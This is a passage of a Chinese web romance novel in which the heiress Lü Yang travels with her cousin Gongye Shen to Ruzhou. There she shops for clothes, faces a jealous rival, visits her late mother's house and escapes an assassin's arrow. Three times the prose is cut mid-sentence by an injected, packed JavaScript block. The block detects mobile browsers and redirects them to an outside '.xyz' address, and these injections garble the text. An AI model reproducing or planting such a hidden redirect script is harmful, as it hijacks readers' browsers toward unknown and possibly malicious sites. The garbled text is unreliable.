屈嫱认真的想了一会儿,给出了自己最真实的评价:“回少君,老太君性格很好,刚毅爽朗,做事风格雷厉风行,从不拖泥带水,是卫家有载以来最有能力和魄力的家主,全府上下无不对她敬服。不过她老人家公私分明,对家人尤其小辈是极为爱护的,您会和老太君相处得很好。” 先前公冶慎说过屈嫱是养在卫老太君身边长大的内侍,那她说的评价应该是很贴切的。既如此,吕央总算是吃了颗定心丸,安心地躺回去了。 想到公冶慎,吕央又记起餐桌上那个未尽的话题,忍不住偷偷问屈嫱:“对了,我想知道,公冶慎为什么不去考取功名?他既是我表哥,那原先也就是卫府的表公子,怎么会去做了后院的内侍,这不别扭吗?” 屈嫱先回答了后面的问题:“复临君他……其实算不得内侍,不过他的确担有这份职责。只是,他毕竟当了这么多年表公子,卫家人不会真把他当下人看的。”至少大部分人不会。 最后半句屈嫱没补上去,说的是一小部分其实就那位四子君从不把公冶慎放眼里。 “复临君留下做内侍一部分原因是为了报答老太君这么多年的扶养,少君不知,他其实是小辈中最得老太太信任喜爱的一个。” 吕央听屈嫱说话听得津津有味,闻言瞪大了双眼,原来还是祖母的心腹啊。 不过想想他那八面玲珑的性格,讨人喜欢好像也不是什么难事。 “那他在上华城岂不是很受欢迎喽?” 话本里面说这种男人都是花心大萝卜呢。 吕央虽然不大喜欢他的性格,但也不得不承认公冶慎的那张脸确实惊为天人,俊美得差点在第一面的时候就把她给迷倒了。 好吧,其实她当时根本已经被他迷倒了。 屈嫱顿了顿,努力回忆一番后回答:“呃……少君到时候就知道了。” 吕央揪着头发,这算什么回复?难不成其实他是专一型? “话说他多少岁呀,已经定亲了吗?” “复临君今年二十有四了。” 吕央瞪大双眼:“这么老!” 公冶慎居然比晋安哥还要大上快五岁! 吕央光看他那俊秀的外表根本看不出来,还以为他也是二十岁及冠左右的年纪呢 屈嫱听见少君毫不掩饰的真诚感叹差点笑出声来,若是那位爱漂亮的老狐狸本人听见了,说不定能直接当场吐血而亡。 吕央还在感叹:“那他岂不是连孩子都有了?天呐,他脸保养的真好。” 这么说自己还差点看上一个有妇之夫?好可怕。 屈嫱好不容易才忍住笑,遇见少君这一天笑的次数比她半年笑的都多,实在太有意思了。 “没有,少君,复临君没有妻儿,也没定过亲。” 屈嫱刚说完吕央便不由得叹气了:“那他也不容易,这么大年纪了也没有娶妻。没人催他吗?” “……没有。” 屈嫱心想,公冶慎身份尴尬,上华的正经人家都不愿意把女儿嫁给他,但更重要的原因应该还是他自己没想法,不然娶几个丫鬟或者平民出身的姑娘也肯定不是问题。 卫老太君知道公冶慎心里一直都有股放不下的傲气,便不再过问他的婚事了。 “真好,没人催着成婚。当然我这话不是说我婶娘不好啊,我知道,她也是希望我下半辈子有个指望,毕竟她自己带着我们实在是很辛苦,不想我以后一个人也孤零零的。” 吕央自己也是有私心的,她这个年纪咋可能对男人没点想法,所以才肯答应出嫁。 唉,若是这世上可以既不必须成婚又可以享受快乐的法子就好了。 正想着,屈嫱忽然开口:“在卫家也没有人会催少君您成婚的,您喜欢什么样的侍夫都可以,府上会给您安排的。” “天呐!”吕央光想象都有点害羞,捂着滚烫脸颊小声问道,“那……我能多要几个吗?” 屈嫱耸肩,只觉得是平淡无奇的要求:“当然,您是少君,想要什么都可以。” 吕央开心得在榻上滚来滚去,似乎幸福快乐的日子已经在冲自己招手了。 滚完她终于发现哪里不太对:“等等,屈嫱你还是没回答我,为什么公冶慎这么厉害却不去考取功名,创立属于他的一番事业呢?” 总不可能是卫家拦着不让他去吧。 屈嫱心中无奈,聊了这么多结果还是没能糊弄过去吗…… 这件事在卫家不算秘密,但这么多年也从不会有人刻意提起。不仅因为这背后牵扯的是一桩叛国大案,也是不想再去揭公冶慎的伤疤。 “复临君之所以不去,并不是他不想,而是不能。”屈嫱沉思良久后心中做出了抉择,“少君若真想知道其中原因,归家后去问老太君能更清楚些。亦或者,若复临君愿意,他也会主动告诉您。” 吕央明白了,公冶慎是有自己的难言之隐,不得已的苦衷。想来他耍那么多小心思也只是因为寄人篱下不得不磨炼出来的手段吧。 不过那原因肯定不是什么不可告人的东西,因为吕央看得出来屈嫱的表情上都写着知情二字,只是她的性格不像那种能随意议论他人的,而这件事情又恰好是戳在公冶慎的痛处上,她就更不想说了。 听起来感觉屈嫱真善良,公冶慎好可怜。 吕央心中感叹,连带着第二天对公冶慎的态度都好了很多,喊他表哥时也多了几分真诚。 公冶慎自然是照单全收,边笑边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16208046|181331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纳闷今日吕央怎么对自己更加热情了,他昨晚都已经做好一觉醒来少君完全偏向屈嫱的心理准备了。 吕央蹑手蹑脚地凑到青年身边,公冶慎比她高了大半个头,虽然脸是真的妖艳美丽,体格子也是实打实的庞大,往那一站活像堵墙。 她身上拍了拍公冶慎的肩膀:“没事的表哥,咱们干一行,爱一行;干一行,就行一行!” 青年垂眸看着她,陷入沉默:“……你……” 吕央一眨不眨地坚定瞪着他,画面过于莫名其妙和诡异导致公冶慎反应了一会儿才换回标准笑脸:“哈哈哈好。” 他一边笑着打哈哈一边疯狂回忆究竟是哪里出了问题,吕央为什么忽然要鼓励他? 难道是觉得自己干活还是太慢了?很有可能。 他分派了不少人手帮着赵华月收拾屋子,见状把蹲在门口啃玉米的常薛也叫进去了。 吕央觉得公冶慎好像没理解她的意思,于是把搭在他肩上的手收回来,捂着自己的胸口:“表哥,如果你有什么想跟我说的心里话,就尽管来找我,我一直都在哦。” 公冶慎呆愣了两秒,不太确定是不是自己想的那样:“你是想……” “对,就是你想的那样!” 吕央见他似乎终于开始懂了自己的良苦用心,激动得下意识抓住他的手,公冶慎也顺势用自己宽大温热的手掌反握回去:“我明白了。” 他抓得很紧,吕央也终于感觉他俩这样亲密不太合适,于是用力地将自己的手抽了出来:“你知道就好了啦。” 公冶慎思考片刻后问道:“那,阿央你想什么时候?” “什么时候?”吕央无视了面前青年莫名开始变得缱绻温柔的眼神,自顾自地打算着,聊过去经历这种如此深痛的话题,肯定不能随随便便的…… 于是她扭头道:“表哥我不急的,等你准备好了就来找我吧!” 吕央感觉自己十分善解人意,给足了公冶慎关心和体面,等他这么心思深沉的人都真的愿意和自己敞开心扉的时候,那就算是水到渠成了。 说罢她便开心地跑去找吕向遥她们一起收拾了。只留下公冶慎一个人站在原地反复推敲她最后一句话的用意。 是真的愿意等吗?也可能只是反话,毕竟她都这么直白了……看着不像想要久等的样子。 想到这儿,公冶慎嘴角扬起几分弧度。 忍不住抬手抚上自己的半边脸,还以为自己准备的计划要失败了,看来长成这样总归还是有点用的。 吕家并没有太多可以带走的东西,很多东西只是在走之前整理好,以免以后要是回来了只有一片杂乱狼藉。 公冶慎说衣服不用带太多,到时候到汝州府都要重新置办。赵华月一开始还想推脱,吕央三言两语给她说服了。 “人家上华那边都穿得鲜亮的,咱们要是还穿粗布衣裳不是露怯啦?不能头一回就输了气势!” 吕向遥附和:“对!” 赵华月拧了拧女儿的耳朵:“你这丫头就是想要新衣服了。” “嘿嘿嘿……” 吕向遥拉着阿姊上了马车,她要和吕央待在同一辆车上,毫不犹豫地抛下了赵华月,吕晋安要带的书稿比较多便也单独坐一辆。 车队从吕家村出发时好不壮观,足足五辆大马车,前后还都是随行的侍从,十里八村的人都跑过来看热闹了。 只知道吕家有个女儿是麻雀飞上枝头变凤凰了,但人多口杂传得各有各的道理,不知道是嫁人了还是流落民间的千金大小姐。 吕央这辈子第一次坐这样奢华舒服的马车,掀起侧帘偷偷看着外面熟悉的景色逐渐在视线中消失,她终于有了要离开远行的实感。 吕向遥也搂住了她:“阿姊,我们要去上华城了。” “嗯,我们要去上华城。” 这一去,就没有回头路了。 吕央摸着小妹的头发,只希望一切同屈嫱承诺的一样,万事顺利。 10. 无妄之灾 车队在第二日下午浩浩荡荡地抵达了汝州城,从进城开始就能听见四周路人止步观望的议论声。 吕央小心地挑开帘子一角望出去,街上行人来去匆匆,不少人被车队的奢华规模震惊,不禁侧目注视。 不过他们脸上的表情算不得太惊讶,指着马车上的白金色锦旗振振有词,似乎都能认出这上面是卫家的家徽纹。 吕向遥也好奇地凑过来冒出半个脑袋,目不转睛地看着这些新奇的场面。她们以前去过最远的地方就是淄阳市集,这辈子从没来过汝州,更别提进入主城区了。 “阿姊,外边好热闹啊!” 从窗里往外看去,街边各种小摊商贩反复高声地吆喝叫卖,街头卖艺的耍着杂技,围着一圈又一圈鼓掌叫好的观众。有人挑担走街串巷,有人目不斜视面色匆匆,也有妇人揽着姐妹牵着孩子边闲聊边慢悠悠走过。 跟淄阳市集很像,却又感觉完全不一样。 “这可比县里热闹多了!”吕向遥抱紧阿姊,美滋滋地幻想,“等到时候进了上华城还不知道多繁华呢。” 吕央摸摸妹妹的脑袋:“离上华城还远呢。” “可我的心已经飞过去啦。” 马车上铺着柔软的垫子,吕向遥大喇喇地躺在上面打滚。少女的嬉笑声随着帘子放下被隔断在马车之中,外面的路人对着远去的马车摇头:“早听有风声说卫家的继承人找到了,看来是真的啊。” “当初卫家女君就是死在咱们汝州城的吧,现在她女儿居然还是在汝州地界找到的,” “十八年前说死了,现在又起死回生了,真稀奇。” …… 车队忽然停下,吕央有些疑惑地挑开帘子,想看看这是到了哪里,正巧对上了公冶慎的脸:“表哥?” “阿央,我们先在汝州城歇息一天,明日再继续赶路。”公冶慎解释道,“就住这里,先下车吧。” “好。”她应了一声,随即带着依旧激动得蹦蹦跳跳的吕向遥走下马车,甫一落地她便抬眸去看面前层层叠叠的楼宇,琉璃翠瓦装饰得金碧煌辉,光那点翠抛光的梁柱就知道这不是寻常之地。大门上方一块紫楠木牌匾刻着三个飘逸的鎏金大字——紫金楼。 而更吸引吕央视线的是匾额下面还刻上了一个“卫”字。 “这只是卫家的众多产业之一,少君请随我来。”公冶慎躬身做了个请的动作,吕央疑惑地看向他,青年微笑着凑近她小声道:“在人前,我还是叫你少君更好。” 吕央半信半疑地搭上他的手臂,另一只手不忘牵住妹妹的衣袖,就这样跟着公冶慎迈进了这酒楼的大门。 门外的赵华月睡得迷迷糊糊一下车看见这么富丽堂皇的地方差点吓晕,好在及时被儿子扶住,还没反应过来就又被守在门口的热情小二拉进去了。 “诶诶诶…这是做什么——” 屈嫱默默侧头吩咐常薛:“帮着把车队安置好。” 少年翻身下马爽朗一笑:“好嘞!” 紫金楼的内里装饰比起外头还要更加奢华繁复,大堂中间交缠的百枝金银灯柱璀璨夺目,四周屏风隔开的是正在用餐的客人们,还能隐约听见推杯换盏的声音。 站在中间仰头往上看,这紫金楼足足有五层,二三楼是包厢雅室,再往上两层就都是住宿的房间了。 “哇……”吕向遥震惊得合不拢的嘴里简直能塞下三个鸡蛋,吕央虽然反应没这么大,但心里也暗暗吃惊。 这种地方才算得上是书上说的纸醉金迷富贵之地吧。原来那些富人就是过这样的日子。 公冶慎将她的表情尽收眼底,发觉吕央比起之前已经更能收敛在脸上表现的情绪了,几乎看不出什么波澜。 虽然公冶慎也是第一次来这儿,不过提前抵达汝州城的常敷自然早就打点好了一切。掌柜地快步迎上前,俯首行礼:“复临君。” 他又看向一旁的两位少女,连问都不用问:“少君大人。” 吕央木楞地眨眨眼,转过头对上公冶慎含笑的眼,他是在对掌柜说话:“先去房间吧。” “是!” 随即掌柜将他们领到上楼的地方,介绍说这是可供升降移动的装置,唤作登云梯,依靠水力和滚轮驱动可以让贵客们轻松上楼。 吕央第一次见这种稀罕物,心里难免有些担忧,不过看见公冶慎习以为常地踏上去,她也鼓足勇气进去了。 踩着和地板也没什么区别…… 吕向遥胆子大啥也不怕,拉着赵华月和吕晋安就往里冲。 人到齐之后掌柜摁下启动,吕央忽然觉得脚下有股空空如也的感觉,整个人都猛地晃了一下。 “啊。” 她轻声惊呼,并不是因为被登云梯吓到,而是因为身体在晃动的不稳中被一双手揽进了怀里。 “阿央害怕的话可以抱紧我。” 公冶慎用气声和她交流,几乎只有她能听见。吕央抬眸看向前方,没人注意到他们俩在后面这过于亲密的动作。 其实她根本不害怕,刚刚也不是因为脚软才晃的,但既然美人主动投怀送抱…… 这能白占的便宜她干嘛不占! 登云梯在五楼停下,掌柜引着她们来到一排房间的走廊外。这顶楼就是只对特别贵客开放的,常敷一亮出卫家本家的令牌他就赶紧令人布置好了房间。 各自选好了房间入住,吕央还没来得及感叹紫金楼连房间都如此精致华丽,公冶慎便敲响了她的房门:“阿央,我们去挑几身衣服吧。” “好。” 她打开门才发觉面前的青年又换了一身衣服,从刚才那身黛紫色锦袍变成了宝蓝色的交领绸服,矜贵中添了几分淡雅。 用吕央的话来说,就是显得年轻不少。 公冶慎注意到她在看自己的衣服,配合地抬起双臂展示:“好看吗?” “好看。”吕央很认真的点头,公冶慎个高腰细,身姿挺拔如兰庭玉树,活生生的衣架子,如果他穿都不好看那肯定是那个衣服的问题。 光这几天都见他换了那么多套不同配色材质剪裁的衣服,想来他自己也知道自己的身材很好。吕央不由偷偷感叹他简直就是只花孔雀。 “那表哥也给你挑几套好看的衣服。” 公冶慎打包票说包她满意,则让屈嫱负责吕家三口,自己拉着吕央一头扎进同样是卫家服饰产业的缀玉坊。 “这位娘子,你喜欢些什么款式的衣服?” 坊主模样的女人缓缓朝她走来,她眉眼明丽仪容端庄,自是一副芙蓉美人貌。见旁边男人手里握着的折扇,当即屈身行万福礼:“复临君。” 公冶慎挥手:“把最好的款式都拿来给少君看看。” 坊主只是愣了一下立即反应过来,对着吕央笑得灿烂:“少君花容月貌,我这里刚好有套云秀衫裙,应该很适合您。” 她掀开里屋的帘子,让二人看见了里面那套红色的襦裙。 裙摆如云纱般层层叠叠,群头的刺绣正是月影卷云纹,五彩线交织,极为华丽。 更别提那件烫金纹的大衫,更是璨目。 公冶慎颇为满意地点点头,吕央咽了口口水:“有日常些的衣裙吗?” 坊主显然没想到她这都不心动,下意识去看公冶慎,青年示意待会儿一并把那条裙子买了,现在先挑少君喜欢的日常款,于是坊主连忙又拍手叫人送来几套较普通的襦裙。 虽说普通,但这缙云纱加素州绸的布料已经不是一般人用得上的了。吕央对这些布料没研究,但看着这几套确实没有那么招摇了。 她挑了两身浅紫浅绿的,目光忽然落在了一套红衣绿裙的衣服上。 “这套是刚出的,仿的是建康年间流行的织染裙。”坊主极为了解女孩子的心思,一下就看出她喜欢,“牡丹的花纹,很适合少君呢。” 吕央不自觉点头,坊主见状附和:“少君不然去换上试试?” 吕央生得端丽,红色衬得她气色饱满,而绿色织染的襦裙恰到好处地让她整个人显得更白净挺立,整个人像极了一朵正盛开的牡丹。 公冶慎不知何时嘴角已然微微上扬,之前她穿粗布麻衣都无法掩盖的美貌这会儿算是展露了完全。 而那边已经挑完自己衣服的吕向遥和吕晋安也围过来一起夸她。 “以前阿姊你净穿些寡淡的,如今一看,这些艳丽的色彩反倒更衬阿姊!” “真好看啊阿央!一定要买这套!” 吕央看着铜镜中的自己,身上的衣服轻飘飘的,快带着得意的她飘到天上去了。 她下意识去看公冶慎的表情,男人像是看呆了般愣在原地傻笑。 于是吕央也学着他的模样展示身上的裙子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16208047|181331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,双眼含笑盈盈地看他:“好看吗?” 青年喉间涩哑:“嗯……好看。” 不知怎么,公冶慎竟觉得自己的心跳得有些快了。 以前从未有关这种状况。 未等他平复完心情,门口忽然传来了一道尖刺的高声:“人都去哪儿了?怎么连个伺候的人都没有!” 几个负责招待客人的绣娘面面厮觑,坊主秀眉微蹙:“这下难办了……” 吕央一看便晓得,来人应当是个不好惹的主。 抬眼望去,门口乌泱泱全是穿着绸布衣裳的家丁,侍女扶着一袭朱红色华裳的少女跨过门槛往里走。 那侍女就是刚刚高声叫喊的,此刻正在一边安抚自己小姐一边怒骂:“站着干什么,还不过来伺候着!” 坊主连忙笑着迎上去:“姑娘们愚笨不懂规矩,缀玉坊招待不周有失远迎,朱小姐见谅。” 朱小姐翻了个白眼,并不给她好脸色:“是够蠢笨的,这汝州城里谁敢怠慢我朱家的人?仔细你们的铺子还要不要了!” 吕央蹙眉,朱家有多厉害,连卫家的铺子都敢威胁。 “小姐莫气,今日江淮进了些新料子,我让人带您去看看。” 贵客还在,坊主不欲和这个大小姐多加辩论,正准备招呼姑娘们把她引走,那朱小姐的眼睛便骨碌碌地往吕央身上贴。 “过往都是坊主亲自接待,怎么,今儿个是有别的贵客?”侍女酸溜溜地呛声推开坊主,她就不信这城中还有比他们朱家小姐更尊贵的人物。 朱小姐紧盯着吕央的衣服:“这是什么料子?我怎么从未见过?” 她怒目而视,似乎在说有这等时兴潮流的东西居然不是先供给她! 坊主微笑:“仿的建康年间流行的布料,不是什么新鲜的形制了。” 闻言她面上表情终于好了一点:“哦,原来是老旧的东西。” 朱小姐摆摆手:“行了,本小姐听说你们刚做出套云秀衫裙,拿出来我看看。” 坊主面容淡然地摇头:“实在是不巧,朱小姐,云秀衫裙已经被买走了。” 朱小姐像个被点燃的炮仗一样瞬间炸了:“谁买走了!” “这我无可奉告。” “不可能!”朱小姐一直对缀玉轩推出的这款裙子情有独钟,云秀衫裙费尽人力物力,造价极高,价格更是翻了倍的昂贵,汝州城里还有谁能买得起? 更别说那些女娘谁不知道她最喜欢这条裙子,日盼夜盼,怎么敢跟她抢! 朱小姐气急地指向吕央:“是不是她!我一看她就知道不简单,长得这么美气质又好,我在汝州城从没见过这号人!” 她说着扑近被夸得不知所措的吕央身边,质问道:“你是哪家小姐!?是不是也想勾引曜大人?” 吕央听得发蒙,曜大人又是谁? “曜大人是我的!谁都不许觊觎!” 吕央翻了个白眼,懒得理。谁要跟你抢男人啊。 “朱小姐请自重。”公冶慎挡在咄咄逼人的少女面前,他冷脸时气势堪称瘆人,凌厉的目光如同一把刀子要剜人皮肉一般阴狠。虽然顶着一副漂亮俊美的皮囊,可还是把朱小姐吓得浑身发抖。 “你……你谁啊……”少女咬牙硬撑,“知道我是谁家的小姐吗?” “汝州朱家,朱茂天的小女儿。”公冶慎用扇子挡住半张笑脸:“如果还想保住你们家,就赶紧滚回去告诉你爹,今后夹着尾巴做人。” 朱小姐刚要发作,看见他扇子上的落款,再联想这几天老爹在家里念叨的卫家……顿时吓得脸色苍白,由丫头扶着出门逃走了。 吕央探上前接过公冶慎的折扇,在坊主的震惊表情中很随便的查看起来:“这个扇子怎么感觉比你还出名?” 大家看他的脸不熟悉,一看扇子就通通认出来了。 公冶慎一改刚刚的危险阴郁模样,笑得极为温柔跟她解释:“卫家产业遍布各州,我也没办法每一处都实地考察,他们当然不认得我的脸。不过知道我随身带着这把写着复临二字的折扇,而且这上面的落款是老太君的私印。” “原来如此。” 吕央闻言心里却琢磨另一件事,看来祖母确实非常信任他这个侄孙,能给他这么高的权限、树立这么高的威望…… 嘶,真不知道是好事还是坏事。 11. 突逢刺杀 吕央挑眉:“那她方才说的那什么曜大人,又是谁?” 公冶慎像是想起什么讨厌的记忆,笑容都变得勉强:“不是什么好人,阿央不必挂心。” “哦。” 那看来之后得认识一下了。 送走了扫兴的闲杂人等,吕央她们的新衣服也都挑得差不多。江汝一带丝织业极为发达,衣服样式甚至比上华城的还要新奇精致。 “这些让京都人翘首以盼的时兴衣服毕竟还要由江汝两州水陆两路出发北上,运输三日才能送到上华城那边呢。”坊主言语中尽是骄傲之色,指挥手底下的姑娘给几位贵客包装好衣服。 “原是这样。”吕央这辈子除了出嫁那天还是第一次穿这么金贵的常服,而且淄阳县不养蚕产丝,她也第一回听说其中的门道。 吕央低头摸了摸柔软的衣料:“我身上这套不用换下来吗?” “你想换下来?” 公冶慎询问中带着了然的笑意,让吕央顿时有些不知所措地愣住。她还真不想换下来,只是方才下意识觉得这样太奢侈了,有点不真实。 吕央还没完全适应自己少君的身份,光在汝州城看见卫家产业的冰山一角已经是她前十八年从未接触过的东西。 公冶慎给了她一个台阶:“我觉得很好看,很衬你。阿央继续穿着好不好?” “既然表哥都这么夸我了,那我就穿吧。”吕央心满意足地拍拍衣袖,余光扫过正被小心翼翼打包起来的云秀衫裙。 吕央倒不是不喜欢这套衣服,从材质款式到织绣花纹都是她喜欢的,只是她从没穿过这么繁复华丽的裙子,也想不到什么场合能穿,所以才没选。 可现今看来是公冶慎买下来了。 女娘的衣服他一个大男人买来干嘛…… “云秀衫裙在上华城没有吗?” 坊主闻言抬手掩面笑了笑:“少君大人有所不知,这裙子是江州那边的铺子新出的款式,一开始只在南安城售卖,这几日才刚供货到汝州,更别提千里外的京都府了。” 江汝虽然都是丝织业发达之地,江州地带却更胜一筹。而论起繁华程度,在南方二十四州中位居榜首的南安城也丝毫不输上华城。又因为南安城的临江位置,船舶贸易发达,许多新物件都优先供给南安。 吕央点头,怪不得之前临王能有本事去谋篡帝位,南安城快把王都压过去了,在南方可比上华城还出名。 “那表哥是要买给谁?”吕央心想不会是专门替上华城的小娘子代买的吧。 公冶慎接过衣服,直言不讳道:“你。” 吕央懵了:“我没说要这套衣服啊。” “之后会用到的。”青年信誓旦旦保证完不忘俏皮地冲她眨眨眼,“相信我。” 见吕央半信半疑地看着他,公冶慎又补充:“不久就会用到了。” 感觉换上漂亮的新衣服还不够,公冶慎就跟赶集进货一样点了好几匣子的首饰,还安排坊主给吕央重新梳妆一番。 吕央以前都盘着简单朴素的发髻,头饰也顶多缠几根丝带,今儿个被姐姐们温柔地提着那一头青丝左捋右捋,交织缠绕完又固定好。待她睁眼,自己的头发已经扎成了灵俏精致的垂挂髻,点缀着红绿两色的丹花珠翠。 她还没欣赏完铜镜中的自己,忽而发觉妹妹她们不见了,甚至公冶慎他们也没了踪影。 吕央正起身准备出门寻找,正好和匆匆赶回来的公冶慎撞个满怀。 公冶慎怕她摔倒下意识扶着少女的后背,布料丝滑,手不觉间一滑,结结实实地揽到了吕央腰间。 吕央猛地被搂得离他更近了些,眉眼和吐息间都是青年震动的胸膛。 待到站稳后两人立马各退开一步,装作无事发生。 “对了,向遥她们……” 公冶慎刚要同她说这件事呢:“我让屈嫱先带她们回去了。” “那我们呢?” 看着吕央瞪大自己那双充满疑问的瑞凤眸,公冶慎哑然失笑:“有个地方得带你去看看。” 坐在稳稳向前的马车中的吕央如芒在背,心里慌乱无措。她是第一次和公冶慎单独相处,要她和屈嫱待在一起不成问题,可公冶慎毕竟是男子……长相还极为俊美,她觉得自己的动作都变得僵硬不少。 不对,怎么看都是公冶慎要讨好她才对,自己干嘛那么拘谨。 想到这儿,吕央清了清嗓子:“咳咳,表哥,我渴了。” 公冶慎十分自然地给她倒了一杯花茶,见人一动不动,饶有兴致地举起茶杯:“阿央是希望我亲自喂你?” 吕央疯狂摇头,她只是刚刚发呆后悔指挥公冶慎了,倒也不用这样讨好她。 接过花茶一饮而尽,吕央急于另找话说,偷偷摸摸掀起侧帘:“快到了吗?” 青年笑着点头:“应该快了。” 言出法随,随着马车夫的一道呼声,马车稳稳当当地停在了一座宅邸前。 “青濯院……” 吕央轻念出声,这座宅子大门紧闭冷清寥寥,但是看着还算整洁完好,肯定是有人在打理的。 常敷快步上前叩响大门,不一会儿厚重的木门便慢悠悠地被推开了。 从门后出来的是位白发苍苍的老妪,冷着脸全无表情。常敷恭恭敬敬地同她介绍完状况,只见老妇人紧皱的眉头旋即松开,眼眸中尽是不可置信的惊喜。 她猛地将目光投向仍处在状况外对局面一知半解的吕央,快步地迎下台阶。 这次换公冶慎躬身行礼了:“晚辈公冶慎见过秋嬷嬷。” 被唤作秋阿嬷的老妇人点点头:“复临君不必多礼。” 公冶慎微偏身让了让位置,他知道秋阿嬷不是奔他来的。 吕央就这样一脸懵地看着朝她步步紧逼的老媪,她苍老的脸上莫名浮现出一股看不透忧伤,笑中带泪地感叹:“像,太像了。” 未待吕央反应过来,秋阿嬷握紧她因为常干农活而略显粗糙的手,不由得心疼道:“少君,这么多年受苦了……” “若是女君还在,定也要心疼坏了。” 见老媪神情悲怆哀伤,吕央大抵明白她说的“女君”是谁了。 她看向身旁的公冶慎,青年神色庄肃:“少君,这位秋阿嬷便是您母亲的乳母。” 老媪双眸含泪:“我是看着你母亲长大的,又眼睁睁地看着她在我面前香消玉殒。” 她回头望向青濯院的牌匾:“十八年前,女君在这儿去世,我也一直替她守着这宅子,从未离开。” 吕央闻言讶然地瞪大双眸,原来这是她母亲的宅府。 兴许是意识到少君失而复得是好事,秋阿嬷抹掉眼泪:“少君您也是在这院里出生的,当时老身就在女君榻边侯着。” 当初那血乎乎皱巴巴的小孩,如今已然出落成亭亭玉立的大姑娘了。 秋阿嬷带着他俩进府里歇息,这庭院中绿植花草颇多,各式各样看得吕央眼花缭乱,秋阿嬷解释说这都是当年她父亲种下的。 “柳君最喜欢侍弄花草。” 吕央下意识追问:“柳君?” 秋阿嬷了然她对父母之事已经毫无记忆,带她们到池边亭子坐下:“柳君是少君您的生身父亲,柳濯然。他也是女君唯一的正夫,这座宅院就是您母亲为了柳君而建。” 吕央心说怪不得名字里有个濯字,所以“青”就是她母亲卫婧? 秋阿嬷不知想起什么忽然笑了,一边给她们斟茶一边回忆:“当年女君到汝州历练,意外碰见了您的父亲。柳君并非名门出身,也不是什么富硕人家,当时还只是个普通的医馆学徒。女君见他年纪轻轻却性格古板,不由得起了些玩心,便化名魏青也跑去做学徒,就为了接近柳君。” 听起来是个很甜蜜有趣的爱情故事。 吕央撑着脸问了个挺不浪漫的问题:“那我父亲好看吗?” 秋阿嬷忍不住笑出声:“当然好看,柳君虽然出身寒门,但的确生得一副好皮囊。” 吕央心说她爹还是麻雀靠脸迷晕凤凰飞上枝头翻身的主儿啊。 “不过,柳君品性良佳,心柔表顺,也是百里挑一的好郎君。不然老太君定然不会同意他来做女君的夫郎。” 秋阿嬷感慨当年:“女君当时铁了心要聘柳君为正夫,而且不再纳任何侍夫。老太君特地赶来汝州,女君跪在她面前说,有事冲她来,不要为难柳濯然。” “老太君后面跟我说,她都没打算反对来着,女君倒是很护着那小子,显得她像坏人了哈哈哈哈。”秋阿嬷笑着,将目光转回吕央身上,“您母亲成婚那年刚刚十七岁,第二年继任了家主之位。女君四年间因为身体缘故还有过于忙碌而不易有孕,一直到建康十二年末才终于怀上您。” 后来的故事,便是公冶慎已经同她讲过的。母亲在父亲的陪伴下回到汝州养胎,大抵是因为彼此在这里相知相恋,所以希望这个饱含他们之间爱与期盼的孩子也能在汝州城降生。 可惜天不遂人愿,一场瘟疫断送了多少人的性命,又拆散了多少家庭。 “该死的贱人卫三,竟敢谎称少君已死欺瞒老太君,致使您离家十八年……”秋阿嬷充满愤恨,当初她把小少君交到卫衡手上的时候,孩子还安然无恙,等她接到小少君半路上病死的消息时痛不欲生,几欲随女君而去。 好在老天知道少君命不该绝,还是让她在多年后被找回来了。 秋阿嬷和吕央说了很多关于卫婧的事情,吕央也逐渐对那个仅仅存 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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吕央几乎是下意识脱口而出:“那你会去吗?” 话音未落吕央就想扇自己的嘴巴,怎么没个把门的,人家又不是闲得没事干,她乱问什么。 公冶慎悄悄靠近了些:“只要阿央想要我去,我就去。” “哦。” 吕央才不想表现得她上赶着要公冶慎陪她一样,她刚刚只是随口问问罢了。 没等公冶慎继续问她到底要不要他陪着,他忽而面色一凛,以迅雷不及掩耳之势猛地将状况外的吕央扑倒进花丛中:“小心!有刺客!” 吕央只来得及听见一道利箭破空的闷响声,公冶慎将她紧紧护在身下:“常敷常薛!” 早在公冶慎前面大喊有刺客时不远处的常家两兄弟便带人追了上去。 时间一点一点过去,吕央的心脏紧张得疯狂跳动,生怕自己要交代在这儿。 公冶慎似乎察觉她的忧虑,温声安抚道:“没事,有我在。” 二人此刻贴得比之前池塘那一次还近,那是吕央还能靠在他肩膀,此刻他俩几乎快要脸贴脸了。 公冶慎的脸无论怎么看都是俊美如天人的的存在,越近那美貌就越震撼人心。 吕央几欲屏住呼吸,她甚至能感觉到青年温热的胸膛抵在她心口,气息就在她耳边擦过。 过了好一会儿,公冶慎估摸着没有问题,小心翼翼地站了起来。 问讯赶来的秋阿嬷急忙越过公冶慎去看吕央:“少君可有受伤?” “没有。”吕央摇摇头,秋阿嬷实在太紧张她,她一时有些难以适应。 公冶慎的人效率很高,不一会儿就赶回来了。不过要是屈嫱在,兴许能更快。 常敷常薛先是扑通跪下请罪,二人居然也没有注意那伙刺客的存在,实在该罚。 “人都处理掉了?” 常敷俯首:“都处理干净了。” 公冶慎皱眉:“谁的人?” 